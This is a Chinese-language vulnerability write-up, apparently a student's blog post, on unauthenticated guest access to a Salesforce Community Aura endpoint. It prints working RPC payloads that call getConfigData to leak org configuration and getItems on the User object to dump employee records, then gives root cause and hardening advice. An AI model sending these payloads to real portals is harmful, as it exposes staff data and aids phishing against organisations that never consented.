0x01 故事背景
作为一名整天钻研 Web 安全的大学生，我一直对大型跨国企业的资产架构充满好奇。这些巨头往往拥有极其复杂的供应链和开发者门户。
这次的故事始于某大型企业的 中央供应平台 (Central Provisioning Platform)。这是一个基于 Salesforce Community 构建的开发者门户。大家都知道，Salesforce 这种高度集成的 SaaS 平台如果配置不当，往往会变异成通往内网数据仓库的“快速通道”。
本以为这种顶级企业的门户网站一定是固若金汤，然而，当我敲下几个特定的 URL 后，那种属于安全研究员的“直觉”告诉我：这地方，漏风了。
0x02 信息收集
在针对目标资产 portal.target-corp.com 进行常规探测时，我习惯性地祭出了扫描利器。没过多久，终端跳出了几行关键提示，指向了 Salesforce Aura 框架的核心入口点：
关键点来了： /s/sfsites/aura 通常是 Aura RPC 交互的中心。如果权限校验逻辑出现漏洞，这个接口就会对 Guest（游客） 用户开放。这就像是一个城堡大门紧闭，但侧面的小窗户却只是虚掩着。
0x03 漏洞利用
Step 1：获取“内部地图”（组织配置信息）
我构造了一个特殊的 Aura RPC 请求，尝试调用 HostConfigController 里的 getConfigData 方法。这个方法的本意是为前端提供环境配置，但在未授权的情况下，它会泄露大量后端敏感架构信息。
核心 Payload 如下：
POST /s/sfsites/aura HTTP/1.1
Host: portal.target-corp.com
Content-Type: application/x-www-form-urlencoded
message={"actions":[{"id":"1;a","descriptor":"serviceComponent://ui.force.components.controllers.hostConfig.HostConfigController/ACTION$getConfigData","callingDescriptor":"UNKNOWN","params":{}}]}&aura.context={"mode":"PROD","fwuid":"aura","app":"siteforce:communityApp"}&aura.token=null
注意 aura.token=null。由于系统未对 Guest 角色做充分拦截，服务器会误以为这是合法的匿名请求并返回配置。
响应瞬间： 屏幕上弹出了大量的 JSON 数据，包括内部私有域名 internal-org.my.salesforce.com、Network ID、Org Origin 以及各种内部开发环境的配置映射。
Step 2：深度挖掘（越权查询用户记录）
既然能拿到配置，能不能查询更核心的数据？我将目标转向了 SelectableListDataProviderController。这是一个极其强大的数据组件，如果逻辑校验不严，可以被用来绕过前端限制直接查询对象。
我尝试构造了一个针对 User 对象（用户表）的查询 Payload：
攻击逻辑转换：
{
"actions": [
{
"id": "1;a",
"descriptor": "serviceComponent://ui.force.components.lists.selectableListDataProvider.SelectableListDataProviderController/ACTION$getItems",
"params": {
"entityNameOrId": "User", // 目标：拉取所有用户信息
"layoutType": "FULL",
"pageSize": 100,
"currentPage": 0
}
}
]
}
实战反馈：
发送请求后，响应包回传了整整 100 条用户记录！其中包括 员工真实姓名、内网 ID、账号创建时间。这意味着，任何一个互联网上的匿名用户，都可以通过这个接口“点名”该企业内部的员工
0x04 漏洞影响
千万不要觉得这只是几个 API 的问题，在黑产或高级渗透测试场景下，这足以造成灾难性后果：
- 内部对象结构全泄露： 暴露了 200 多个内部对象的 API 名称和 Key Prefix，攻击者可以据此绘制出完整的业务数据库蓝图。
- 精准社工攻击： 泄露的员工个人信息（包括邮箱前缀等）为钓鱼攻击提供了极高可信度的素材。
- 开发环境侧漏： 通过 cspTrustedSites 暴露的内网开发域名，泄露了企业内部测试环境的攻击面。
0x05 防御与反思
作为一名未来的安全从业者，分析 Root Cause 比发现漏洞更重要。
根源分析：
这是典型的 Salesforce Experience Cloud 权限配置疏忽。开发人员在配置 Guest User Profile 时，为了图省事，开启了对特定 Controller 或对象的 Read 权限，且在代码层面未通过 isAccessible() 或 Schema.sObjectType 校验用户的实际权限。
加固建议：
- 权限收紧： 立即审查并禁用 Guest 用户对 User、Account 等核心敏感对象的访问权限。
- WAF 策略： 在网关层对 /s/sfsites/aura 的特征 Payload 进行深度包检测（DPI），拦截未带合法 Session 的 RPC 调用。
- 架构优化： 敏感接口不应直接暴露公网，建议将其收拢至 VPN 访问范围，或增加 HTTP Basic Auth 二次认证。
结语
这次实战再次提醒我：云端的便利往往伴随着巨大的配置风险。 即使是世界顶尖企业的资产，也可能因为一个微小的权限配置勾选而门户洞开。
对于我们这些研究员来说，保持好奇心、保持对代码逻辑的深度复盘，才是守卫网络安全的真谛。
Stay Humble, Stay Hardcore!